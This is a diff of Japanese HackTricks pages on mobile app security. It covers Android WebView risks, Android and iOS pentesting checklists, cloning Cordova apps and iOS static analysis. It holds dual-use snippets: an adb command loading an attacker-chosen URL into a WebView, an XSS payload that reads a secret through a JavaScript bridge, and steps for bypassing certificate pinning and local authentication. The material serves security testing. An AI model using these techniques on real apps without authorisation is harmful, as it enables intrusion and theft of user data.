> タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが別の可視ウィンドウによって覆われているときに受信したタッチを破棄します。その結果、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるときに、ビューはタッチを受け取らなくなります。 > タッチフィルタリングを有効にするには、[`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)を呼び出すか、android:filterTouchesWhenObscuredレイアウト属性をtrueに設定します。有効にすると、フレームワークは、ビューのウィンドウが別の可視ウィンドウによって覆われているときに受信したタッチを破棄します。その結果、トースト、ダイアログ、または他のウィンドウがビューのウィンドウの上に表示されるときに、ビューはタッチを受け取らなくなります。

View File

@ -31,7 +31,7 @@ Android開発の重要な側面は、WebViewsの正しい取り扱いです。
#### **WebViewAssetLoader** #### **WebViewAssetLoader**
**WebViewAssetLoader**クラスは、ローカルファイルを読み込むための現代的なアプローチです。これは、ローカルアセットやリソースにアクセスするためにhttp(s) URLを使用し、同一オリジンポリシーに沿ってCORS管理を容易にします。 **WebViewAssetLoader**クラスは、ローカルファイルを読み込むための現代的なアプローチです。http(s) URLを使用してローカルアセットやリソースにアクセスし、同一オリジンポリシーに沿ってCORS管理を容易にします。
### loadUrl ### loadUrl
@ -39,7 +39,7 @@ Android開発の重要な側面は、WebViewsの正しい取り扱いです。
```java ```java
webview.loadUrl("<url here>") webview.loadUrl("<url here>")
``` ```
Ofc、潜在的な攻撃者はアプリケーションが読み込む**URL**を決して**制御**できるべきではありません。 もちろん、潜在的な攻撃者はアプリケーションが読み込む**URL**を決して**制御**できるべきではありません。
### **JavaScriptとIntentスキームの処理** ### **JavaScriptとIntentスキームの処理**
@ -54,13 +54,13 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url
``` ```
### Javascript Bridge ### Javascript Bridge
Androidによって提供される機能、**JavaScript**がWebView内で**ネイティブAndroidアプリの機能**を呼び出すことを可能にします。これは、`addJavascriptInterface`メソッドを利用することで実現され、JavaScriptとネイティブAndroid機能を統合します。これは_ウェブビューJavaScriptブリッジ_と呼ばれます。このメソッドはWebView内のすべてのページが登録されたJavaScriptインターフェースオブジェクトにアクセスできるため、機密情報がこれらのインターフェースを通じて公開されるとセキュリティリスクが生じるため、注意が必要です。 Androidによって提供される機能、**JavaScript**がWebView内で**ネイティブAndroidアプリの機能**を呼び出すことを可能にします。これは、`addJavascriptInterface`メソッドを利用することで実現され、JavaScriptとネイティブAndroid機能を統合します。これは_ウェブビューJavaScriptブリッジ_と呼ばれます。このメソッドはWebView内のすべてのページが登録されたJavaScriptインターフェースオブジェクトにアクセスできるため、機密情報がこれらのインターフェースを通じて公開されるとセキュリティリスクが生じるため、注意が必要です。
- **Androidバージョン4.2未満を対象とするアプリには極めて注意が必要**です。悪意のあるJavaScriptを通じてリモートコード実行を可能にする脆弱性が存在します。 - **Androidバージョン4.2未満をターゲットとするアプリには極めて注意が必要**です。これは、悪意のあるJavaScriptを通じてリモートコード実行を可能にする脆弱性を利用します。
#### JavaScriptブリッジの実装 #### JavaScriptブリッジの実装
- **JavaScriptインターフェース**はネイティブコードと相互作用でき、クラスメソッドがJavaScriptに公開される例で示されています - **JavaScriptインターフェース**はネイティブコードと相互作用でき、クラスメソッドがJavaScriptに公開される例で示されています:
```javascript ```javascript
@JavascriptInterface @JavascriptInterface
public String getSecret() { public String getSecret() {
@ -72,17 +72,17 @@ return "SuperSecretPassword";
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge") webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload() webView.reload()
``` ```
- JavaScriptを通じた潜在的な悪用、例えばXSS攻撃によって、公開されたJavaメソッドを呼び出すことが可能になります: - JavaScriptを通じた潜在的な悪用、例えばXSS攻撃を介して、公開されたJavaメソッドを呼び出すことが可能です:
```html ```html
<script> <script>
alert(javascriptBridge.getSecret()) alert(javascriptBridge.getSecret())
</script> </script>
``` ```
- リスクを軽減するために、**JavaScriptブリッジの使用を制限**し、APKに同梱されたコードのみを使用し、リモートソースからのJavaScriptの読み込みを防ぎます。古いデバイスの場合、最小APIレベルを17に設定します。 - リスクを軽減するために、**JavaScriptブリッジの使用を制限**し、APKに同梱されたコードにのみ制限し、リモートソースからのJavaScriptの読み込みを防ぎます。古いデバイスの場合、最小APIレベルを17に設定します。
### リフレクションベースのリモートコード実行 (RCE) ### リフレクションベースのリモートコード実行 (RCE)
- 文書化された方法により、特定のペイロードを実行することでRCEを達成できます。ただし、`@JavascriptInterface`アノテーションは不正なメソッドアクセスを防ぎ、攻撃面を制限します。 - ドキュメント化された方法により、特定のペイロードを実行することでRCEを達成できます。ただし、`@JavascriptInterface`アノテーションは不正なメソッドアクセスを防ぎ、攻撃面を制限します。
### リモートデバッグ ### リモートデバッグ
@ -96,7 +96,7 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true); WebView.setWebContentsDebuggingEnabled(true);
} }
``` ```
- アプリケーションのデバッグ可能な状態に基づいて条件付きでデバッグを有効にするには: - アプリケーションのデバッグ可能な状態に基づいてデバッグを条件付きで有効にするには:
```java ```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))

View File

@ -23,7 +23,7 @@
- [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタンパリングチェックを行います。[詳細はこちらを読む](android-app-pentesting/#other-checks)。 - [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタンパリングチェックを行います。[詳細はこちらを読む](android-app-pentesting/#other-checks)。
- [ ] 銀行アプリのような敏感なアプリケーションは、モバイルがルート化されているか確認し、それに応じて行動する必要があります。 - [ ] 銀行アプリのような敏感なアプリケーションは、モバイルがルート化されているか確認し、それに応じて行動する必要があります。
- [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなどします。 - [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど検索します。
- [ ] [firebase](android-app-pentesting/#firebase)APIに特に注意を払います。 - [ ] [firebase](android-app-pentesting/#firebase)APIに特に注意を払います。
- [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) - [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] アプリケーションがデバッグモードであるか確認し、「悪用」してみます。 - [ ] アプリケーションがデバッグモードであるか確認し、「悪用」してみます。
@ -33,22 +33,23 @@
- [ ] 公開されたサービス - [ ] 公開されたサービス
- [ ] ブロードキャストレシーバー - [ ] ブロードキャストレシーバー
- [ ] URLスキーム - [ ] URLスキーム
- [ ] アプリケーション[内部または外部にデータを安全でない方法で保存しているか](android-app-pentesting/#insecure-data-storage) - [ ] アプリケーション[内部または外部にデータを安全でない方法で保存しているか](android-app-pentesting/#insecure-data-storage)?
- [ ] [パスワードがハードコーディングされているか、ディスクに保存されているか](android-app-pentesting/#poorkeymanagementprocesses)アプリは[安全でない暗号アルゴリズムを使用しているか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms) - [ ] [パスワードがハードコーディングされているか、ディスクに保存されているか](android-app-pentesting/#poorkeymanagementprocesses)? アプリは[安全でない暗号アルゴリズムを使用しているか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
- [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか - [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか
- [ ] このフェーズで役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。 - [ ] このフェーズで役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
### [動的分析](android-app-pentesting/#dynamic-analysis) ### [動的分析](android-app-pentesting/#dynamic-analysis)
- [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis) - [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis)
- [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)(ログ、コピー/ペースト、クラッシュログ)はありますか? - [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるか(ログ、コピー/ペースト、クラッシュログ)?
- [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか? - [ ] [SQLiteデータベースに機密情報が保存されているか](android-app-pentesting/#sqlite-dbs)?
- [ ] [悪用可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか? - [ ] [悪用可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
- [ ] [悪用可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか? - [ ] [悪用可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [悪用可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか? - [ ] [悪用可能な公開サービス](android-app-pentesting/#exploiting-services)?
- [ ] アプリケーションが[平文で情報を送信しているか/弱いアルゴリズムを使用しているか](android-app-pentesting/#insufficient-transport-layer-protection)MitMは可能ですか - [ ] [悪用可能なブロードキャストレシーバー](android-app-pentesting/#exploiting-broadcast-receivers)?
- [ ] アプリケーションは[平文で情報を送信しているか/弱いアルゴリズムを使用しているか](android-app-pentesting/#insufficient-transport-layer-protection)? MitMは可能ですか
- [ ] [HTTP/HTTPSトラフィックを検査する](android-app-pentesting/#inspecting-http-traffic) - [ ] [HTTP/HTTPSトラフィックを検査する](android-app-pentesting/#inspecting-http-traffic)
- [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を探すことができますHacktricksにはWebの脆弱性に関する多くの情報があります - [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を検索できますHacktricksにはWebの脆弱性に関する多くの情報があります
- [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)を確認します(おそらく静的コード分析が役立ちます)。 - [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)を確認します(おそらく静的コード分析が役立ちます)。
- [ ] [Frida](android-app-pentesting/#frida): Fridaを使用してアプリケーションから興味深い動的データを取得しますおそらくいくつかのパスワード...)。 - [ ] [Frida](android-app-pentesting/#frida): Fridaを使用してアプリケーションから興味深い動的データを取得しますおそらくいくつかのパスワード...)。

View File

@ -4,7 +4,7 @@
**詳細については[https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)を確認してください**。これは要約です: **詳細については[https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)を確認してください**。これは要約です:
Apache Cordovaは、**JavaScript、HTML、およびCSS**を使用して**ハイブリッドアプリケーション**の開発を可能にすることで知られています。これにより、AndroidおよびiOSアプリケーションの作成が可能ですが、アプリケーションのソースコードを保護するためのデフォルトのメカニズムが欠けています。React Nativeとは異なり、Cordovaはデフォルトでソースコードをコンパイルしないため、コード改ざんの脆弱性が生じる可能性があります。CordovaはWebViewを使用してアプリケーションをレンダリングし、APKまたはIPAファイルにコンパイルされた後でもHTMLおよびJavaScriptコードを露出させます。一方、React NativeはJavaScriptコードを実行するためにJavaScript VMを使用し、より良いソースコード保護を提供します。 Apache Cordovaは、**JavaScript、HTML、CSS**を使用して**ハイブリッドアプリケーション**の開発を可能にすることで知られています。これにより、AndroidおよびiOSアプリケーションの作成が可能ですが、アプリケーションのソースコードを保護するためのデフォルトのメカニズムが欠けています。React Nativeとは異なり、Cordovaはデフォルトでソースコードをコンパイルしないため、コード改ざんの脆弱性が生じる可能性があります。CordovaはWebViewを使用してアプリケーションをレンダリングし、APKまたはIPAファイルにコンパイルされた後でもHTMLおよびJavaScriptコードを露出させます。一方、React NativeはJavaScript VMを使用してJavaScriptコードを実行し、より良いソースコード保護を提供します。
### Cordovaアプリケーションのクローン作成 ### Cordovaアプリケーションのクローン作成
@ -24,7 +24,7 @@ cd bank-new
適切な Cordova Android プラットフォームバージョンを確認するには、元のアプリケーションの `cordova.js` ファイル内の `PLATFORM_VERSION_BUILD_LABEL` をチェックしてください。 適切な Cordova Android プラットフォームバージョンを確認するには、元のアプリケーションの `cordova.js` ファイル内の `PLATFORM_VERSION_BUILD_LABEL` をチェックしてください。
プラットフォームの設定後、必要なプラグインをインストールします。元のアプリケーションの `bank/assets/www/cordova_plugins.js` ファイルには、すべてのプラグインとそのバージョンがリストされています。以下のように各プラグインを個別にインストールしてください プラットフォームの設定後、必要なプラグインをインストールします。元のアプリケーションの `bank/assets/www/cordova_plugins.js` ファイルには、すべてのプラグインとそのバージョンがリストされています。以下のように各プラグインを個別にインストールします
```bash ```bash
cd bank-new cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1 cordova plugin add cordova-plugin-dialogs@2.0.1

View File

@ -20,74 +20,74 @@
- [ ] [**キャッシュデータ**](ios-pentesting/#cache)は機密情報を保存できる。 - [ ] [**キャッシュデータ**](ios-pentesting/#cache)は機密情報を保存できる。
- [ ] [**自動スナップショット**](ios-pentesting/#snapshots)は視覚的な機密情報を保存できる。 - [ ] [**自動スナップショット**](ios-pentesting/#snapshots)は視覚的な機密情報を保存できる。
- [ ] [**キーチェーン**](ios-pentesting/#keychain)は通常、電話を再販する際に残る可能性のある機密情報を保存するために使用される。 - [ ] [**キーチェーン**](ios-pentesting/#keychain)は通常、電話を再販する際に残る可能性のある機密情報を保存するために使用される。
- [ ] 要約すると、**アプリケーションがファイルシステムに保存した機密情報を確認するだけです。** - [ ] 要約すると、**アプリケーションがファイルシステムに保存した機密情報を確認すること**。
### キーボード ### キーボード
- [ ] アプリケーションは[**カスタムキーボードの使用を許可していますか**](ios-pentesting/#custom-keyboards-keyboard-cache) - [ ] アプリケーションは[**カスタムキーボードの使用を許可していか**](ios-pentesting/#custom-keyboards-keyboard-cache)
- [ ] 機密情報が[**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に保存されているか確認する - [ ] 機密情報が[**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に保存されているか確認する
### **ログ** ### **ログ**
- [ ] [**機密情報がログに記録されているか**](ios-pentesting/#logs)確認する - [ ] [**機密情報がログに記録されているか**](ios-pentesting/#logs)確認する
### バックアップ ### バックアップ
- [ ] [**バックアップ**](ios-pentesting/#backups)はファイルシステムに保存された**機密情報にアクセスするために使用できる**(このチェックリストの最初のポイントを確認) - [ ] [**バックアップ**](ios-pentesting/#backups)はファイルシステムに保存された**機密情報にアクセスするために使用できる**(このチェックリストの最初のポイントを確認)
- [ ] また、[**バックアップ**](ios-pentesting/#backups)はアプリケーションの**設定を変更するために使用できる**、その後**バックアップを電話に復元し、**変更された設定**が**読み込まれる**、いくつかの(セキュリティ)**機能**が**バイパスされる**可能性がある。 - [ ] また、[**バックアップ**](ios-pentesting/#backups)はアプリケーションの**設定を変更するために使用できる**。その後、バックアップを電話に**復元**し、**変更された設定**が**読み込まれる**、いくつかの(セキュリティ)**機能**が**回避される**可能性がある。
### **アプリケーションメモリ** ### **アプリケーションメモリ**
- [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内の機密情報を確認する - [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内の機密情報を確認する
### **壊れた暗号化** ### **壊れた暗号化**
- [ ] [**暗号化に使用されるパスワード**](ios-pentesting/#broken-cryptography)を見つけられるか確認する - [ ] [**暗号化に使用されるパスワード**](ios-pentesting/#broken-cryptography)を見つけられるか確認する
- [ ] 機密データを送信/保存するために[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されているか確認する - [ ] 機密データを送信/保存するために[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されているか確認する
- [ ] [**暗号化関数をフックして監視する**](ios-pentesting/#broken-cryptography) - [ ] [**暗号化関数をフックして監視する**](ios-pentesting/#broken-cryptography)
### **ローカル認証** ### **ローカル認証**
- [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているか確認する。 - [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているか確認する。
- [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性がある。 - [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単に回避できる可能性がある。
- [ ] [**動的にバイパスできる関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムFridaスクリプトを作成できる。 - [ ] [**動的に回避可能な関数**](ios-pentesting/#local-authentication-using-keychain)を使用している場合、カスタムFridaスクリプトを作成できる。
### IPCを通じた機密機能の露出 ### IPCを通じた機密機能の露出
- [**カスタムURIハンドラー / ディープリンク / カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) - [**カスタムURIハンドラー / ディープリンク / カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] アプリケーションが**プロトコル/スキームを登録しているか**確認する - [ ] アプリケーションが**プロトコル/スキームを登録しているか**確認する
- [ ] アプリケーションが**プロトコル/スキームを使用するために登録しているか**確認する - [ ] アプリケーションが**プロトコル/スキームを使用するために登録しているか**確認する
- [ ] アプリケーションが**カスタムスキームから受信することを期待している機密情報の種類**を確認し、同じスキームを登録している別のアプリケーションによって**傍受される**可能性があるか確認する - [ ] アプリケーションが**カスタムスキームから受信することを期待している機密情報の種類**を確認し、同じスキームを登録している別のアプリケーションによって**傍受される**可能性があるか確認する
- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性がある**か確認する - [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される**可能性があるか確認する
- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する - [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する
- [**ユニバーサルリンク**](ios-pentesting/#universal-links) - [**ユニバーサルリンク**](ios-pentesting/#universal-links)
- [ ] アプリケーションが**ユニバーサルプロトコル/スキームを登録しているか**確認する - [ ] アプリケーションが**ユニバーサルプロトコル/スキームを登録しているか**確認する
- [ ] `apple-app-site-association`ファイルを確認する - [ ] `apple-app-site-association`ファイルを確認する
- [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性がある**か確認する - [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される**可能性があるか確認する
- [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する - [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか**確認する
- [**UIActivity共有**](ios-pentesting/ios-uiactivity-sharing.md) - [**UIActivity共有**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] アプリケーションがUIActivitiesを受信できるか、特別に作成されたアクティビティで脆弱性を悪用できるか確認する - [ ] アプリケーションがUIActivitiesを受信できるか、特別に作成されたアクティビティで脆弱性を悪用できるか確認する
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) - [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか**確認する - [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか**確認する
- [ ] アプリケーションが**一般的なペーストボードのデータを何かに使用しているか**確認する - [ ] アプリケーションが**一般的なペーストボードのデータを何かに使用しているか**確認する
- [ ] ペーストボードを監視して、**機密データがコピーされているか**確認する - [ ] ペーストボードを監視して、**機密データがコピーされているか**確認する
- [**アプリ拡張**](ios-pentesting/ios-app-extensions.md) - [**アプリ拡張**](ios-pentesting/ios-app-extensions.md)
- [ ] アプリケーションは**拡張機能を使用しているか** - [ ] アプリケーションが**拡張を使用しているか**
- [**WebViews**](ios-pentesting/ios-webviews.md) - [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] 使用されているWebViewの種類を確認する - [ ] 使用されているWebViewの種類を確認する
- [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認する - [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認する
- [ ] WebViewが**file://**プロトコルで**ローカルファイルにアクセスできるか**確認する(`allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs` - [ ] WebViewが**file://**プロトコルで**ローカルファイルにアクセスできるか**確認する(`allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs`
- [ ] Javascriptが**ネイティブ**の**メソッド**`JSContext``postMessage`)にアクセスできるか確認する - [ ] Javascriptが**ネイティブ**の**メソッド**`JSContext``postMessage`)にアクセスできるか確認する
### ネットワーク通信 ### ネットワーク通信
- [ ] [**通信に対するMitMを実行**](ios-pentesting/#network-communication)し、Webの脆弱性を探す。 - [ ] [**通信に対するMitMを実行**](ios-pentesting/#network-communication)し、Webの脆弱性を探す。
- [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)が確認されているか確認する - [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)が確認されているか確認する
- [ ] [**証明書ピンニング**](ios-pentesting/#certificate-pinning)を確認/バイパスする - [ ] [**証明書ピンニング**](ios-pentesting/#certificate-pinning)を確認/回避する。
### **その他** ### **その他**
- [ ] [**自動パッチ/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムを確認する - [ ] [**自動パッチ/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムを確認する
- [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)を確認する - [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)を確認する
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -10,7 +10,7 @@ ios-basics.md
## テスト環境 ## テスト環境
このページでは、**iOSシミュレーター**、**エミュレーター**、および**脱獄**に関する情報を見つけることができます このページでは、**iOSシミュレーター**、**エミュレーター**、および**脱獄**に関する情報を見つけることができます:
{{#ref}} {{#ref}}
ios-testing-environment.md ios-testing-environment.md
@ -20,28 +20,28 @@ ios-testing-environment.md
### 基本的なiOSテスト操作 ### 基本的なiOSテスト操作
テスト中に**いくつかの操作が提案されます**(デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、いくつかのツールを使用するなど)。したがって、これらの操作のいずれかを実行する方法がわからない場合は、**ページを読み始めてください** テスト中に**いくつかの操作が提案されます**(デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、いくつかのツールを使用するなど)。したがって、これらの操作のいずれかを実行する方法がわからない場合は、**ページを読み始めてください**:
{{#ref}} {{#ref}}
basic-ios-testing-operations.md basic-ios-testing-operations.md
{{#endref}} {{#endref}}
> [!NOTE] > [!NOTE]
> 次のステップのために、**アプリがデバイスにインストールされている必要があります**、およびアプリケーションの**IPAファイル**をすでに取得している必要があります。\ > 次のステップのために、**アプリがデバイスにインストールされている必要があります**、また、アプリケーションの**IPAファイル**をすでに取得している必要があります。\
> これを行う方法を学ぶには、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページをお読みください。 > これを行う方法を学ぶには、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページをお読みください。
### 基本的な静的分析 ### 基本的な静的分析
興味深いiOS - IPAファイルのデコンパイラ 興味深いiOS - IPAファイルのデコンパイラ:
- https://github.com/LaurieWired/Malimite - https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/ - https://ghidra-sre.org/
IPAファイルに対して自動静的分析を実行するために、ツール[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)を使用することをお勧めします。 IPAファイルに対して自動静的分析を実行するために、ツール[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)を使用することをお勧めします。
**バイナリに存在する保護の識別** **バイナリに存在する保護の識別**:
- **PIE (Position Independent Executable)**: 有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。 - **PIE (Position Independent Executable)**: 有効な場合、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。
```bash ```bash
otool -hv <app-binary> | grep PIE # PIEフラグが含まれている必要があります otool -hv <app-binary> | grep PIE # PIEフラグが含まれている必要があります
@ -93,7 +93,7 @@ grep -iER "_srand"
grep -iER "_rand" grep -iER "_rand"
``` ```
- **不安全な'Malloc'関数** - **不安全なMalloc関数**
```bash ```bash
# iOSデバイス上 # iOSデバイス上
@ -139,7 +139,7 @@ grep -iER "_vsprintf"
### インストールされたアプリのリスト ### インストールされたアプリのリスト
`frida-ps -Uai`コマンドを使用して、インストールされたアプリの**バンドル識別子**を特定します `frida-ps -Uai`コマンドを使用して、インストールされたアプリの**バンドル識別子**を特定します:
```bash ```bash
$ frida-ps -Uai $ frida-ps -Uai
PID Name Identifier PID Name Identifier
@ -168,21 +168,21 @@ ios-hooking-with-objection.md
- **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。 - **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。
- **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。 - **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。
- **`Frameworks/`**: このフォルダには、`.dylib`または`.framework`ファイルの形式でアプリケーションのネイティブライブラリが格納されています。 - **`Frameworks/`**: このフォルダには、`.dylib`または`.framework`ファイルの形式でアプリケーションのネイティブライブラリが格納されています。
- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイスでのアプリの元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。 - **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定するための代替手段です。 - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプとクリエイターコードを指定するための代替手段です。
- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースです。 - **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースです。
- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドル内のすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。 - **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドルされたすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。
- **アセット管理**: `Assets.car`ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。 - **アセット管理**: `Assets.car`ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
- **FrameworksとPlugIns**: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ`Frameworks/`)を含め、アプリの機能を拡張(`PlugIns/`)できるようにします。 - **FrameworksとPlugIns**: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ`Frameworks/`)を含めたり、アプリの機能を拡張したりすることを可能にします。
